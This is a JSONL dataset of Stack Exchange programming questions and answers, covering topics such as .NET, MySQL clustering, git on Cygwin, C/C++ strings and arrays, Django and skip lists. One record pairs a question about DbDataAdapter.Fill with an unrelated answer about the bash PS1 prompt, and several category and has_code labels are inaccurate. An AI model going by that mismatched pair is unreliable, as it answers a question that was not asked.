{"id": "hf_a9d4278b76b7", "question": "<p>What is the right way to perform some static finallization? </p>\n\n<p>There is no static destructor. The <code>AppDomain.DomainUnload</code> event is not raised in the default domain. The <code>AppDomain.ProcessExit</code> event shares the total time of the three seconds (default settings) between all event handlers, so it's not really usable.</p>\n", "question_body": "", "answer": "Basically, you can't. Design your way around it to the fullest extent possible.\nDon't forget that a program can\nalways\nterminate abruptly anyway - someone pulling out the power being the obvious example. So anything you do has to be \"best effort\" - in which case I'd certainly\nhope\nthat\n```\nAppDomain.ProcessExit\n```\nwould be good enough.\nWhat do you need to do, in your particular case?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:56.578655"}
{"id": "hf_51c596998d7c", "question": "<p>Before few days I was at some IT conference here in Belgrade. On Agenda was a topic about MySql, and clustering in MySql, and the guys from MySql said  that they have the best solution for cluster split brain problem, does anyone know something about this, is this true or just a marketing trick?</p>\n", "question_body": "", "answer": "MySQL Cluster requires at least 3 systems which allows it have one of the nodes be an arbitrator for dealing with split brain scenarios.  Two of the systems can run data nodes/mysqld nodes and the third needs to run the management node (which is normally the arbitrator by default, however SQL nodes can also operate as them).\nIn the event of a split brain setup (ie. the two data nodes can no longer talk to each other, but they are still running), then they will realize it and ask the arbitrator to decide which node is allowed to continue to running.  If a node can not talk to the arbitrator then it will shutdown.  From all of the nodes the arbitrator can talk to it will pick a node to continue to running and tell the other(s) to shutdown.\nThe arbitrator is normally the management node, but can also be data nodes.  If the arbitrator fails, then the cluster can elect a new one.  However, it can't do this during arbitration, so if both a data node and arbitrator fail at once, the third node will shutdown.\nOf course, it gets a bit more complex when you have multiple node groups, but the same basic ideas apply in those cases as well.\nYou can read more about this at in the\nMySQL Cluster FAQ\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:56.605560"}
{"id": "hf_4085bfc2aed7", "question": "<p>I've recently become aware that there's a distinction between IP multicasting (which apparently doesn't work that well on the public internet) and application multicasting (which is apparently used in IRC and PSYC, per <a href=\"http://en.wikipedia.org/wiki/Multicast\" rel=\"nofollow noreferrer\">http://en.wikipedia.org/wiki/Multicast</a>).</p>\n\n<p>Is there a good tutorial on implementing application-level multicasting?</p>\n\n<p>I thought the whole point of multicast was to reduce bandwidth for common network segments, so it's hard for me to understand what application-level multicast does.</p>\n", "question_body": "", "answer": "The purpose of IP level multicasting is to reduce bandwidth for common network segments where many users wish to receive the same traffic.   It's usually limited to one particular subnet and an IP router won't propagate the multicast beyond the subnet.   This is done for scalability reasons - it wouldn't be a good idea to allow one host to originate multicast packets which are propagated to every IP address on the internet.\nThere are different ways to think of \"application level\" multicasting.   One approach is to build a multicast tree using the host computers participating in the multicast.   Dijkstra's algorithm could be used to do this (Wikipedia has a reasonable description of this).   However, maintaining the list of participating computers - and keeping the tree up to date - can be a fair amount of work if hosts are joining and leaving the network at a substantial rate.   And you probably don't have a good estimate of hop cost available at the application level.\nAnother approach you should review is the flooding algorithm used in the Gnutella network's query routing protocol.     (Wikipedia also has a good description of this.)   This approach alleviates the need to build a multicast tree, but it has the downside of generating more network traffic.  In fact, a LOT more network traffic, as the traffic grows with the square of the number of nodes, i.e. O(n**2).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:56.652779"}
{"id": "hf_bf8926c1e9c8", "question": "<p>When I try to commit the first revision to my git repository (git commit) from Cygwin, I'm getting an error in gvim which says \"Unable to open swap file for \"foo\\.git\\COMMIT_EDITMSG\" [New Directory]. I think it might be some sort of permission problem, but I've tried removing the read-only flag from the folder, as well as recursively adjusting the owner (using the windows property tab, not chown under Cygwin) to be the account I'm running under, without any luck. If I change the default editor to notepad, I get \"The system cannot find the file specified\", even though the file (COMMIT_EDITMSG) does exist and even contains:</p>\n\n<pre><code># Please enter the commit message for your changes.\n# (Comment lines starting with '#' will not be included)\n# etc...\n</code></pre>\n\n<p>How can I troubleshoot this problem further?</p>\n", "question_body": "", "answer": "Unable to open swap file for \"foo\\.git\\COMMIT_EDITMSG\" [New Directory].\nLooks like the\n```\ngit commit\n```\nis passing the file path as a Windows path, not a POSIX path. note the\n```\n\\\n```\nin the message.\n```\ngvim\n```\nis going to try to open `foo.gitCOMMIT_EDITMSG\", which doesn't exist.\nI don't use\n```\ngit\n```\n, but I imagine it uses an environment var similar to\n```\nSVN_EDITOR\n```\n.  You may need to wrap the editing session with a small script that uses\n```\ncygpath\n```\nto change the file path from Windows to Posix separators.\n```\n```\n#!/bin/bash\ngvim \"$(cygpath --unix \"${1}\")\"\n```\n```\nCaveat Emptor, untested.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:56.676807"}
{"id": "hf_ca308af4dd1d", "question": "<p>Wizards can kick-start features. They can also obfuscate your code, and are anti-YAGNI.</p>\n\n<p>On balance, do you think Wizards are more useful or more harmful?</p>\n", "question_body": "", "answer": "They're there for a reason - to try and make your life easier.\nThey can be useful and save you 5 or 10 minutes of typing.  Of course it's best to read and make sure you understand what they've written for you.\nIf you use them without understanding, then they could be considered harmful in the fact that they're letting you get away with not learning something you should probably know, but on balance I think they're a good thing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:56.741990"}
{"id": "hf_19767bd46368", "question": "<p>I understand that creating too many threads in an application isn't being what you might call a \"good neighbour\" to other running processes, since cpu and memory resources are consumed even if these threads are in an efficient sleeping state.</p>\n\n<p>What I'm interested in is this: <strong>How much memory (win32 platform) is being consumed by a sleeping thread?</strong></p>\n\n<p>Theoretically, I'd assume somewhere in the region of 1mb (since this is the default stack size), but I'm pretty sure it's less than this, but I'm not sure why.</p>\n\n<p>Any help on this will be appreciated.</p>\n\n<p>(<em>The reason I'm asking is that I'm considering introducing a thread-pool, and I'd like to understand how much memory I can save by creating a pool of 5 threads, compared to 20 manually created threads</em>)</p>\n", "question_body": "", "answer": "I think you'd have a hard time detecting any impact of making this kind of a change to working code - 20 threads down to 5. And then add on the added complexity (and overhead) of managing the thread pool. Maybe worth considering on an embedded system, but Win32?\nAnd you can set the stack size to whatever you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:56.799432"}
{"id": "hf_5f9e26db5658", "question": "<p>I'm using jQuery to wire up some mouseover effects on elements that are inside an UpdatePanel. The events are bound in <code>$(document).ready</code> . For example:</p>\n\n<pre><code>$(function() {    \n    $('div._Foo').bind(\"mouseover\", function(e) {\n        // Do something exciting\n    });    \n});\n</code></pre>\n\n<p>Of course, this works fine the first time the page is loaded, but when the UpdatePanel does a partial page update, it's not run and the mouseover effects don't work any more inside the UpdatePanel. </p>\n\n<p>What's the recommended approach for wiring stuff up in jQuery not only on the first page load, but every time an UpdatePanel fires a partial page update? Should I be using the ASP.NET ajax lifecycle instead of <code>$(document).ready</code>?</p>\n", "question_body": "", "answer": "I would use one of the following approaches:\nEncapsulate the event binding in a function and run it every time you update the page. You can always contain the event binding to specific elements so as not to bind events multiple times to the same elements.\nUse the\nlivequery\nplug-in, which basically performs method one for you auto-magically. Your preference may vary depending on the amount of control you want to have on the event binding.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:56.823991"}
{"id": "hf_5ed8e80fab16", "question": "<p>I use the <code>:e</code> and <code>:w</code> commands to edit and to write a file. I am not sure if there is \"close\" command to close the current file without leaving Vim?</p>\n\n<p>I know that the <code>:q</code> command can be used to close a file, but if it is the last file, Vim is closed as well; Actually on Mac OS MacVim does quit. Only the Vim window is closed and I could use <kbd>Control</kbd>-<kbd>N</kbd> to open a blank Vim window again. I would like Vim to remain open with a blank screen.</p>\n", "question_body": "", "answer": "If you've saved the last file already, then\n```\n:enew\n```\nis your friend (\n```\n:enew!\n```\nif you don't want to save the last file). Note that the original file will still be in your buffer list (the one accessible via\n```\n:ls\n```\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:56.848931"}
{"id": "hf_6c6454c38f94", "question": "<p>Let's say I have a <code>char* str = \"0123456789\"</code> and I want to cut the first and the last three letters and print just the middle, what is the simplest, and safest, way of doing it?</p>\n\n<p>Now the trick: The portion to cut and the portion to print are of variable size, so I could have a very long char*, or a very small one.</p>\n", "question_body": "", "answer": "You can use\n```\nprintf()\n```\n, and a special format string:\n```\n```\nchar *str = \"0123456789\";\nprintf(\"%.6s\\n\", str + 1);\n```\n```\nThe precision in the\n```\n%s\n```\nconversion specifier specifies the maximum number of characters to print.  You can use a variable to specify the precision at runtime as well:\n```\n```\nint length = 6;\nchar *str = \"0123456789\";    \nprintf(\"%.*s\\n\", length, str + 1);\n```\n```\nIn this example, the * is used to indicate that the next argument (\n```\nlength\n```\n) will contain the precision for the\n```\n%s\n```\nconversion, the corresponding argument must be an\n```\nint\n```\n.\nPointer arithmetic can be used to specify the starting position as I did above.\n[EDIT]\nOne more point, if your string is shorter than your precision specifier, less characters will be printed, for example:\n```\n```\nint length = 10;\nchar *str = \"0123456789\";\nprintf(\"%.*s\\n\", length, str + 5);\n```\n```\nWill print \"\n```\n56789\n```\n\".  If you always want to print a certain number of characters, specify both a minimum field width and a precision:\n```\n```\nprintf(\"%10.10s\\n\", str + 5);\n```\n```\nor\n```\n```\nprintf(\"%*.*s\\n\", length, length, str + 5);\n```\n```\nwhich will print:\n```\n```\n\"     56789\"\n```\n```\nYou can use the minus sign to left-justify the output in the field:\n```\n```\nprintf(\"%-10.10s\\n\", str + 5);\n```\n```\nFinally, the minimum field width and the precision can be different, i.e.\n```\n```\nprintf(\"%8.5s\\n\", str);\n```\n```\nwill print at most 5 characters right-justified in an 8 character field.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:56.885169"}
{"id": "hf_f9b9b8cbdd9e", "question": "<p>I read all over the place about how Spring encourages you to use interfaces in your code. I don't see it. There is no notion of interface in your spring xml configuration. What part of Spring actually encourages you to use interfaces (other than the docs)?</p>\n", "question_body": "", "answer": "You may probably want to try using it for yourself to be better able to see this, it may not be clear from the docs how Spring encourages interface use.\nHere are a couple of examples:\nSay you're writing a class that needs to read from a resource (e.g., file) that may be referenced in several ways (e.g., in classpath, absolute file path, as a URL etc). You'd want to define a\n```\norg.springframework.core.io.Resource\n```\n(interface) property on your class. Then in your Spring configuration file, you simply select the actual implementation class (e.g.,\n```\norg.springframework.core.io.ClassPathResource\n```\n,\n```\norg.springframework.core.io.FileSystemResource\n```\n,\n```\norg.springframework.core.io.UrlResource\n```\netc). Spring is basically functioning as an extremely generic factory.\nIf you want to take advantage of Spring's AOP integration (for adding transaction interceptors for instance), you'll pretty much need to define interfaces. You define the interception points in your Spring configuration file, and Spring generates a proxy for you, based on your interface.\nThese are examples I personally have experience with. I'm sure there are much more out there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:56.988198"}
{"id": "hf_bcf0534daef7", "question": "<p>I have a windows service connecting to a SqlServer database on the local box.  This works fine most all the time.  At a large customer, however, the database connectivity gets corrupted for some rare and unknown reason.  When this happens, calls to DbDataAdapter.Fill return a DataSet with a different number of columns than in the select command passed in (validated by trace logs showing the sql expected, and the number of columns returned).  For the first few errored DataSets it appears the adapter instance is returning results from the previous query.  This is happening even though the adapter objects are unique instances, and the connection/adapter creation calls are thread protected (as DbProviderFactory is not thread safe).</p>\n\n<p>Has anyone experience this or something similar?  Does anyone know what could cause this?  At this moment in time, I'm having a hard time thinking up new ideas for a cause of this.</p>\n", "question_body": "", "answer": "The following should work in your .bash_profile or .bashrc\n```\n```\ncase $TERM in\nxterm-color)\nexport PS1='\\[\\e]0;\\W\\007\\]\\[\\e[34;1m\\]\\W\\[\\e[0m\\]\\$ '\n;;\n*)\nexport PS1='\\W\\$ '\n;;\nesac\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:57.022162"}
{"id": "hf_4fe67a237828", "question": "<p>What tools do you know, other than those in Visual Studio, to analyze performance bottlenecks in a Windows CE/Mobile application? I'm looking for something like AQTime for CE/Mobile, to profile C/C++ applications compiled to native code.</p>\n", "question_body": "", "answer": "If you're doing .NET CF development, check out the\nPower Toys for .NET CF 3.5\nfor utilities that can help you pinpoint bottlenecks, especially memory-related ones.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:57.067560"}
{"id": "hf_3643a5363b9a", "question": "<p>In C++ I'd like to do something like:</p>\n\n<pre><code>int n = get_int_from_user();\n\nchar* matrix = new char[n][n];\n\nmatrix[0][0] = 'c';\n//...\nmatrix[n][n] = 'a';\n\ndelete [][] matrix;\n</code></pre>\n\n<p>but of course this doesn't work.  What is the best way to do something similar?  I've seen some solutions to this but they seem pretty messy.</p>\n", "question_body": "", "answer": "For a true two dimensional array:\n```\n```\nint n = get_int_from_user();\n\nchar** matrix = new char*[n];\nfor (int i = 0; i < n; i++) {\n    matrix[i] = new char[n];\n}\n\n// Operations on matrix.\n\nfor (int i = 0; i < n; i++) {\n    delete [] matrix[i];\n}\ndelete matrix;\n```\n```\nJust off the top of my head. Mistakes, no doubt. However, other people have posted a more elegant approach, I think.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:57.090751"}
{"id": "hf_6dc8ac016edd", "question": "<p>I have a class that defines a CallRate type. I need to add the ability to create multiple instances of my class by reading the data from a file.</p>\n\n<p>I added a static method to my class CallRate that returns a <code>List&lt;CallRate&gt;</code>. Is it ok for a class to generate new instances of itself by calling one of its own constructors? It works, I just wonder if it's the proper thing to do.</p>\n\n<pre><code>List&lt;CallRates&gt; cr = CallRates.ProcessCallsFile(file);\n</code></pre>\n", "question_body": "", "answer": "It is perfectly fine to get object(s) of its own from the static method.\ne.g.\nOne of the dot net libraries does the same thing as you did,\n```\n```\nXmlReadrer reader = XmlReader.Create(filepathString);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:57.118355"}
{"id": "hf_3f6c8dd5adaa", "question": "<p>For my Django app I have Events, Ratings, and Users. Ratings are related to Events and Users through a foreign keys.  When displaying a list of Events I want to filter the ratings of the Event by a user_id so I know if an event has been rated by the user. </p>\n\n<p>If I do:</p>\n\n<pre><code>event_list = Event.objects.filter(rating__user=request.user.id)\n</code></pre>\n\n<p>(request.user.id gives the user_id of the current logged in user) ...then I only get the events that are rated by the user and not the entire list of events.</p>\n\n<p>What I need can be generated through the custom SQL:</p>\n\n<pre><code>SELECT *\nFROM `events_event`\nLEFT OUTER JOIN (\n  SELECT *\n  FROM `events_rating`\n  WHERE user_id = ##\n  ) AS temp \nON events_event.id = temp.user_id\n</code></pre>\n\n<p>Is there an easier way so I don't have to use custom SQL?</p>\n", "question_body": "", "answer": "To make best use of Django, you have to avoid trying to do joins.\nA \"left outer join\" is actually a list of objects with optional relationships.\nIt's simply a list of Events,\n```\nEvent.objects.all()\n```\n.  Some Event objects have a rating, some don't.\nYou get the list of Events in your view.  You handle the optional relationships in your template.\n```\n```\n{% for e in event_list %}\n    {{ e }}\n    {% if e.rating_set.all %}{{ e.rating_set }}{% endif %}\n{% endfor %}\n```\n```\nis a jumping-off point.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:57.153941"}
{"id": "hf_915cbe394811", "question": "<p>I'm trying to find some info on the best and most common RESTful url actions.</p>\n\n<p>for example, what url do you use for displaying the details of an item, for editing the item, updating, etc.</p>\n\n<pre><code>/question/show/&lt;whatever&gt;\n/question/edit/&lt;whatever&gt;\n/question/update/&lt;whatever&gt; (this is the post back url)\n/question/list   (lists the questions)\n</code></pre>\n\n<p>hmm. thanks to anyone helping out :)</p>\n", "question_body": "", "answer": "Assuming\n```\n/questions/10\n```\nis a valid question then the method is used to interact with it.\nPOST to add to it\nPUT to create or replace it\nGET to view/query it\nand DELETE to well.. delete it.\nThe url doesn't change.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:57.200635"}
{"id": "hf_fa3683c36930", "question": "<p>In some my project I notice that during executing unit tests under VSTS2008 its VSTestHost's memory consuming grows. As I have very many tests in my solution it leads to OutOfMemroyException eventually.\nThat looks very strange for me as I was sure that MSTest creates a new AppDomain for each unit test. Otherwise how would it reset static fields?\nBut if AppDomain is being created for each test than memory shouldn't leak. But it does.</p>\n\n<p>So the question is: Should VS create AppDomain for each test class or not? If yes than how can I check that it does it. \nI tried tracing through ProcessExpolorer and Performance snap-in. A value of \"Total appdomain unloaded\" is always 0 during test run.</p>\n", "question_body": "", "answer": "I don't think the unit test engine creates a new AppDomain for each test.  Since creating an AppDomain is a relatively expensive operation, doing so for each test would slow down execution of unit tests considerably!\nVisual Studio 2008 uses a seperate executable called vstesthost.exe to run unit tests.  VS communicates with vstesthost.exe (how it does this I don't know) to tell it what tests to run.  vstesthost.exe returns the execution results to VS which displays those results.\nIf you are getting OutOfMemoryExceptions when running your unit tests I would say that's a strong indicator that your code under test is actually not cleaning things up.  Are you sure that you aren't retaining handles to unmanaged objects/memory?  I would recommend running your unit tests under a Performance Analysis (you can do that by finding the unit test under the \"Test View\", right-clicking on it, and selecting \"Create Performance Session\").  This might shed some light at least on your object allocations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:57.223920"}
{"id": "hf_4d7961e0d91f", "question": "<p>In a prior question, I asked about using xbuild to compile a solution file, only to be told it doesn't work for that.  NAnt seems a little out of date.  What other options are there?  I need something that supports dependencies across multiple projects.</p>\n", "question_body": "", "answer": "I'm not sure there's only one correct build system to use. :-)\nI know that the Mono team uses make to build MonoDevelop and that MonoDevelop uses make under the covers to build projects created by MonoDevelop (\nhttp://tirania.org/blog//texts/md-build.html\n).\nThat said, there's also xBuild (\nhttp://www.mono-project.com/Microsoft.Build\n) which is an MSBuild compatible build engine created by the mono team.  That might actually be the best tool as it would allow you to build your projects under Microsoft's .NET platform in addition to Mono.  This link (\nhttp://go-mono.com/forums/#nabble-td15680662\n) talks about MD moving towards MSBuild also.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:57.303743"}
{"id": "hf_905361f3ae53", "question": "<p>I'm using Visual Studio 2008 to develop ASP.NET applications. Currently I'm debugging with running on IIS. I would like to switch to the development web server (Cassini) for debugging, so that I can use features like edit and continue. The reason that I'm not, is because the development web server only starts up when you are in debug mode. Is there any way to keep it running all the time, and just have Visual Studio attach to the existing server process like it does with IIS?</p>\n", "question_body": "", "answer": "Once started, the built-in web server continues executing even when you stop debugging, as long as your VS2008 project is still open.  Just start up the debugger when you want to start debugging again.  I typically have another browser window open and interact with the built-in web server from there instead of the browser window that it opens so I can keep working with the application in the same state even after turning off the debugger (which closes the opened browser window).\nI'm running VS2008 on Windows XP SP3.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:57.338064"}
{"id": "hf_4c15bb621911", "question": "<p>I have a C/C++ application and I need to create a X509 pem certificate containing both a public and private key.  The certificate can be self signed, or unsigned, doesn't matter.</p>\n\n<p>I want to do this inside an app, not from command line.</p>\n\n<p>What OpenSSL functions will do this for me?  Any sample code is a bonus!</p>\n", "question_body": "", "answer": "Any chance of doing this via a\n```\nsystem\n```\ncall from within your app?  Several good reasons for doing this:\nLicensing:  Calling the\n```\nopenssl\n```\nexecutable arguably separates it from your application and may provide certain advantages.\nDisclaimer: consult a lawyer on this.\nDocumentation:  OpenSSL comes with\nphenomenal\ncommand-line documentation that greatly simplifies a potentially complicated tool.\nTestability:  you can exercise OpenSSL from the command line until you understand exactly how to create your certs.  There are a\nlot\nof options; expect to spend about a day on this until you get all the details right.  After that, it's trivial to incorporate the command into your app.\nIf you choose to use the API, check the\n```\nopenssl-dev\n```\ndevelopers' list on www.openssl.org.\nGood luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:57.359433"}
{"id": "hf_b21c0533a821", "question": "<p>When I make a query, I often wonder about this:</p>\n<blockquote>\n<p>Is it better to add extra field(s) to\nthe table, or just get the values and\ncalculate in your server side\nlanguage?</p>\n</blockquote>\n<p>For example, table Student contains Student.score field. I want to get the grades.</p>\n<blockquote>\n<p>Do I get the score and make a bunch of\nif/else/switch for the grades?</p>\n<p>Do I <strong>waste</strong> space by adding a field just to store\nsomething that is dependent on another\nfield?</p>\n</blockquote>\n<p>The former is annoying to do everytime you need the grades.\nThe latter scares me when I think of space usage. If I have as small as 10,000 records then I've already wasted 10,000 fields!</p>\n<p>Which is the most efficient method, considering non-trivial tables and medium to big database size?</p>\n<p>If it matters lets use PHP as the server side language.</p>\n", "question_body": "", "answer": "Your data persistence layer should generally not store calculated values that are subject to frequent change. To do so creates the risk of allowing stagnant data to persist within the data store and then affect the business layer which will in turn affect everything else.\nGenerally speaking you always want to produce calculated values at run-time.\nHowever, I wouldn't worry about a single additional field within the database when determining the best way to address any design issue. Hard drive space is both cheap and plentiful. :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:57.382879"}
{"id": "hf_9603ea539c3f", "question": "<p>Is there a fool-proof way to pull out all the risks involved in a project? And does it differ depending on the type of projects your working on (ie: website, client/server...)?</p>\n", "question_body": "", "answer": "Definitely no fool-proof way. Whole books have been written on the topic. And speaking of books, I recommend this one:\nSoftware Project Survival Guide by Steve McConnell (I know, crappy image)\nalt text http://ecx.images-amazon.com/images/I/41X9bGinoNL._SL500_BO2,204,203,200_AA219_PIsitb-sticker-dp-arrow,TopRight,-24,-23_SH20_OU01_.jpg", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:57.405959"}
{"id": "hf_72be4a066253", "question": "<p>Is there anything similar to an <code>indexOf</code> function in the NSString objects?</p>\n", "question_body": "", "answer": "Use\n```\n-[NSString rangeOfString:]\n```\n:\n```\n```\n- (NSRange)rangeOfString:(NSString *)aString;\n```\n```\nFinds and returns the range of the first occurrence of a given string within the receiver.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:57.466392"}
{"id": "hf_15b672d7b3cc", "question": "<p>I'm trying to go deep into Dictionary ADT and Skip List for Java. My textbook doesn't cover a lot about this and whatever it has covered is very complicated. Which is the best online site to get more information on Dictionary ADT and Skip List for Java. I'm looking for the one which talks visually and gives a lot of examples.</p>\n", "question_body": "", "answer": "Since it sounds like you're in an algorithms class, I would separate the implementation of a dictionary and a skip list from what is provided by the Java API. At this point, it's more important that you understand the concept of what these abstract data types are, because they can be implemented in any language (C#, PHP, Scheme, Brainfuck, etc.)\nYour instructor will probably want you to: first, define the interface or contract for a dictionary (or a skip list), and then figure out its implementation. If you're programming in Java, use JUnit to verify the correctness of your algorithms. If you're programming in some other language, look for any xUnit API.\nLook in\nNIST's Dictionary of Algorithms and Data Structures\nas a secondary resource to your textbook to understand what these things mean. Probably the best algorithm book in Java is Sedgewick's, and its main distinctive is its pedagogical use of applets. Since the sample code is not written in idiomatic Java, I wouldn't look there for industrial-strength implementations of the algorithms. After all, you're supposed to do the work yourself, not use someone else's collections API.\nOh, btw, Java 6 has two implementations of skip lists:\n```\nConcurrentSkipListSet\n```\nand\n```\nConcurrentSkipListMap\n```\n. And the interface of a dictionary data structure in Java is\n```\nMap\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:57.486836"}
{"id": "hf_0cf4f0ae9e4a", "question": "<p>I recently came across the data structure known as a <a href=\"http://en.wikipedia.org/wiki/Skip_list\" rel=\"noreferrer\"><em>skip list</em></a>. It seems to have very similar behavior to a binary search tree. </p>\n\n<p>Why would you ever want to use a skip list over a binary search tree? </p>\n", "question_body": "", "answer": "From the\nWikipedia\narticle you quoted:\nΘ(n) operations, which force us to visit every node in ascending order (such as printing the entire list) provide the opportunity to perform a behind-the-scenes derandomization of the level structure of the skip-list in an optimal way, bringing the skip list to O(log n) search time. [...]\n  A skip list, upon which we have not\n  recently performed [any such] Θ(n) operations,\ndoes not\n  provide the same absolute worst-case\n  performance guarantees as more\n  traditional balanced tree data\n  structures\n, because it is always\n  possible (though with very low\n  probability) that the coin-flips used\n  to build the skip list will produce a\n  badly balanced structure\nEDIT: so it's a trade-off: Skip Lists use less memory at the risk that they might degenerate into an unbalanced tree.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:57.535778"}
{"id": "hf_73432f37ac05", "question": "<p>Anyone know if there is already a validator for \"type\" strings?</p>\n\n<p>I want to make sure that the type attributes in my custom config are one of the following:</p>\n\n<pre>\ntype=\"TopNamespace.SubNameSpace.ContainingClass, MyAssembly\"\ntype=\"TopNamespace.SubNameSpace.ContainingClass, MyAssembly, Version=1.3.0.0, Culture=neutral, PublicKeyToken=b17a5c561934e089\"\n</pre>\n\n<p>Writing one is easy enough, I just don't want to reinvent the wheel.</p>\n", "question_body": "", "answer": "You'll get an error with resharper's Global Error Analysis if it can't find the namespace or class, but that's not always helpful if your referencing a plugin.\nprobably the simpliest thing is to put your code to load the app domain in a try catch block.\nif the dll is in the bin it will be loaded on startup but it won't throw an error until you use it so if you just new up an instance of ContainingClass. You could pull the namespaces from the config and then try and use each class.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:57.584260"}
